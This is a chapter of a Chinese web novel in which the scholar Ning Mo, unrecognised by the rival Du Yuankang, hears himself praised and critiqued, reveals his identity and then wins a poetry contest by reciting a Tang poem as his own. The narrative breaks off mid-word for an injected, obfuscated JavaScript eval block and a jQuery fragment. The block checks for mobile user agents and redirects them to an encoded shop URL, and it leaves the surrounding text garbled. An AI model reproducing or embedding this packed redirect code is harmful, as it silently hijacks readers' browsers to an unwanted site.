宁默闻言,心中一动,顿时就猜出来了这人的身份。
肯定是庐州解元杜远康无疑了。
于是,他心念一动,起身还礼,道:“兄台找宁解元?真不凑巧了,在下并未见到。我也是独自来此赏景,不曾遇到其他人。”
杜远康闻言,脸上露出失望之色,喘了口气,用袖子擦了擦额头的汗。
他一路寻来,山路崎岖,确实有些疲累。
见宁默态度随和,杜远康索性也在旁边石头上坐下,叹道:“这青莲寺后山着实不小,寻个人也太难了……”
宁默微笑,从随身的布囊中取出一个竹筒,递过去:“兄台走得急,喝口水吧。”
杜远康一愣,接过竹筒,道了声谢,饮了几口清水,精神稍振。
他看向宁默,觉得此人眉目疏朗,气质温润,让人不自觉地生出好感,便攀谈起来。
“兄台也是来青莲寺进香的?”
“算是吧,随友人来此祈福。”
“哦?那可曾听说昨日寺中一场佛门盛事?”
杜远康眼睛发亮,说道:“据说湘南宁解元以俗家弟子的身份,代青联寺论佛,辩退了那位有名的‘辩才佛子’法慧!”
宁默面不改色,点头道:“略有耳闻。宁解元确实才华出众。”
“何止出众!”
杜远康一拍大腿,语气激动起来,道:“兄台可知那法慧是何等人物?三年前他开始行‘百布袈裟’之礼,至今未尝一败!”
“去年在我家乡庐州云台寺,我亲眼见他将方丈大师辩得……唉,总之,此人佛理之精深,机锋之锐利,绝非寻常!”
他顿了顿,看向宁默,眼中满是钦佩与好奇:“可宁默一个读书人,竟能在佛理上胜过法慧!”
“兄台你说,这是何等的惊才绝艳?我原本以为他只是诗才惊人,不曾想连佛法都如此精通!此人……真乃奇才!”
宁默被他当面这般夸赞,脸上也有些发烫,轻咳一声:“宁解元确非常人。”
杜远康却话锋一转,眉宇间重新扬起自信:“不过,若论诗词之道,我倒觉得,自己未必输他。”
宁默挑眉,抱拳道:“哦?兄台才华如此横溢?”
“不敢才华横溢,但是略有心得。”
杜远康挺直腰背,道:“我去年乡试那首《秋江夜泊》,也算小有名气。若能与宁解元当面切磋,以诗会友,互证才学,必是一桩美事,可惜……”
他叹了口气道:“他不见我!”
宁默笑而不语。
但杜远康却越说越兴起,继续说道:“不瞒兄台,我细研过宁解元梅园诗会上流传出的诗句,‘疏影横斜水清浅,暗香浮动月黄昏’,此联状物之工、意境之幽,确属绝品。但若论雄浑气魄,我的那些诗句,自问不遑多让。”
“还有他那‘君不见黄河之水天上来’,气魄固然惊人,但诗意奔腾却稍欠含蓄,诗词之道,需刚柔并济,张弛有度。”
“若真比试,我未必没有胜算。”
他说得认真,眼中光芒闪动,这是读书人对自身学识的笃定和自信。
宁默静静地听着,偶尔也点点头,心中却是觉得有趣。
对方不知道自己的身份,在自己面前品评较量,偏偏又毫不知情,这种体验属实不错!
随后两人又聊了些诗词格律、文章气象的话题。
杜远康见宁默谈吐简洁,是个很好的倾听着,便有意结交,于是问道:“还未请教兄台高姓大名?看兄台谈吐,也是读书人?”
宁默正要回答,远处就传来了李慕白爽朗的笑声。
宁默与杜远康同时抬头望去。
只见李慕白四人谈笑归来,在讨论刚才跟几个女子的搭讪之事。
显然颇有些收获。
杜远康见到李慕白,眼睛一亮,立刻起身迎上:“李公子!钱公子!赵公子!孙公子!真巧,竟在此处遇见诸位!”
李慕白四人见到杜远康,先是一愣。
随即目光扫过他身旁的宁默,脸上都露出古怪神色,强忍着笑意。
杜远康浑然未觉,热情地拉着宁默的袖子,对李慕白道:“李公子,方才我在此偶遇这位兄台,相谈甚欢。兄台对诗词见解独到,气度不凡,定非寻常人物。”
“来,我为你们引见……”
他转向宁默,忽然愣住……聊了半天,还不知道对方的姓名!
杜远康脸上闪过一丝尴尬,忙拱手道:“瞧我,说了这许多,还未请教兄台尊姓大名?”
宁默微笑,拱手还礼,清晰答道:“在下宁默。”
“对对,宁……”
杜远康顺口接话,话才说了一半,整个人突然僵住。
他眼睛慢慢睁大,嘴巴微张。
脸上的表情从热情到茫然,再到震惊,最后涨得通红,就跟猴子屁股似的。
“宁……宁默?湘南解元宁默?!”他神色呆滞,声音都在颤抖。
“噗!”
“哈哈哈!”
李慕白终于忍不住,“噗嗤”一声笑了出来。
赵文轩、孙皓月也忍俊不禁,钱益谦摇头失笑。
宁默看着杜远康那副如遭雷击的模样,心中好笑,却还是温和点头:“正是在下!方才没有言明,还望杜解元勿怪。”
杜远康呆立当场,脑子里嗡嗡作响。
自己苦寻半天,推崇备至,还当面品评较量的正主,居然就在眼前!
而自己刚才说了什么?
未必输他、未必没有胜算,这些特别装哔的话……
刹那间。
羞愧、尴尬和懊恼等种种情绪涌上心头,杜远康只觉脸庞发烫的厉害,恨不能找条地缝钻进去。
李慕白见状,上前打圆场,笑着拍了拍杜远康的肩膀:“杜兄,这下你可寻着人了吧,哈哈哈!”
杜远康回过神来,深吸几口气,勉强压下心中翻腾。
而后郑重地整了整衣冠,对着宁默深深一揖到底,语气诚恳道:“宁……宁兄!杜某有眼不识泰山,方才胡言乱语,班门弄斧,实在……实在是惭愧无地!还请宁兄海涵!”
宁默伸手虚扶,笑道:“杜兄言重了!方才交谈,宁某亦受益良多。杜兄诗才,宁某早有耳闻,今日一见,更觉名不虚传。”
杜远康直起身,见宁默神色真诚,并无讥讽之意,心中稍安,羞惭之余,更多了几分敬佩。
如此才华,却这么谦和温润,这才是真正的名士风范。
他定了定神,索性抛开尴尬,正色道:“宁兄,杜某远道而来,确是为求一晤。方才虽然出丑,但请教之心不改,不知宁兄可否……赐教一二?”
他目光灼灼,既有期待,也有些忐忑。
生怕宁默因方才之事不快,断然拒绝他的请求。
而此刻。
周围已经有三三两两的香客游人被这边动静吸引,渐渐围拢过来。
有人认出了李慕白等湘南才子,更有人低声议论:
“那是宁解元?”
“真是宁解元?昨日论佛的那位?”
“旁边那位是谁?看起来好像有点眼熟,像是我庐州的解元杜远康……”
“什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267438|198102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么?两个解元?”
游客震惊,更是觉得稀奇,一个个都围拢了过来。
而宁默看着杜远康诚恳的眼神,也是略一沉吟。
他本来不愿多事,但这杜远康并不是那种目中无人、刻意挑衅的反派。
只是一个痴迷诗文的读书人。
而且态度非常端正,没有小说中那种反派挑衅的狗血戏码。
也罢,既然撞上了,一味回避反显小气。
到时候自己临场反应快一些,应该不至于输给杜远康。
他微微一笑,便颔首道:“杜兄既如此诚意,宁某若再推辞,便是不恭了。”
“只是切磋而已,互证诗心,不论胜负,如何?”
杜远康大喜,连连拱手:“正当如此!多谢宁兄成全!”
李慕白见状,眼睛一亮,立刻朗声对周围渐聚的人群道:
“诸位!湘南宁解元与庐州杜解元,今日在此以诗会友,诸位若有雅兴,可留步一观!”
此言一出,人群顿时骚动起来。
“宁解元!真是他!”
“杜解元?可是写《秋江夜泊》的那位?”
“两位解元斗诗!今日来得值了!”
“快,快去叫人来看!”
不过片刻,山道旁已聚了二三十人,男女皆有,个个伸颈翘首,满脸兴奋。
许多人还是第一次见到近来名声大噪的宁默**。
只见他一身青衫,负手而立,神情从容,气质清华,不由暗暗赞叹。
杜远康见人渐多,精神更振。
他深吸一口气,压下心中杂念,对宁默拱手道:“宁兄,客随主便,我们便以这青莲后山为题,各赋一诗,如何?”
宁默点头:“可。”
杜远康闭目凝神片刻,睁眼时已恢复从容自信。
他踏前一步,望了望远处云雾缭绕的峰峦,又看了看近处潺潺的山溪,朗声吟道:
“青嶂叠云屏,松涛和梵音。
泉飞石骨冷,苔老禅痕深。
鸟度空山影,僧归古寺心。
欲寻真境界,何必问山林?”
诗成,四周安静一瞬,随即响起一片低声赞叹。
“好一个‘泉飞石骨冷,苔老禅痕深’!贴切!”
“尾联点睛,有禅意!”
“不愧是解元之才!”
杜远康面露得意之色,信心满满地看向宁默。
此诗写景细腻,融情于景,尾联更由实入虚,点出佛理禅思,自觉已发挥出**分功力。
宁默静静听完,微微点头:“杜兄此诗,状物精工,意境清幽,尾联尤见思致,实属佳作。”
他略一沉吟,目光掠过远山近树,缓步走到溪边。
看着清澈溪水中倒映的蓝天白云与自己的身影,缓缓开口:
“清晨入古寺,初日照高林。
曲径通幽处,禅房花木深。
山光悦鸟性,潭影空人心。
万籁此都寂,但余钟磬音。”
这次宁默则是照搬前世唐代诗人常建的《题破山寺后禅院》。
而这首诗在此情此景之下,却像是专为青莲后山而作,浑然天成。
诗句落定,顿时全场鸦雀无声。
李慕白张了张嘴,最终只化为一声轻叹。
钱益谦闭目回味,赵文轩、孙皓月相视苦笑。
围观众人更是呆住,许多人反复默念着“山光悦鸟性,潭影空人心”,只觉得一股清寂空灵之气扑面而来。
整个人仿佛都随着那钟磬之音沉静下来……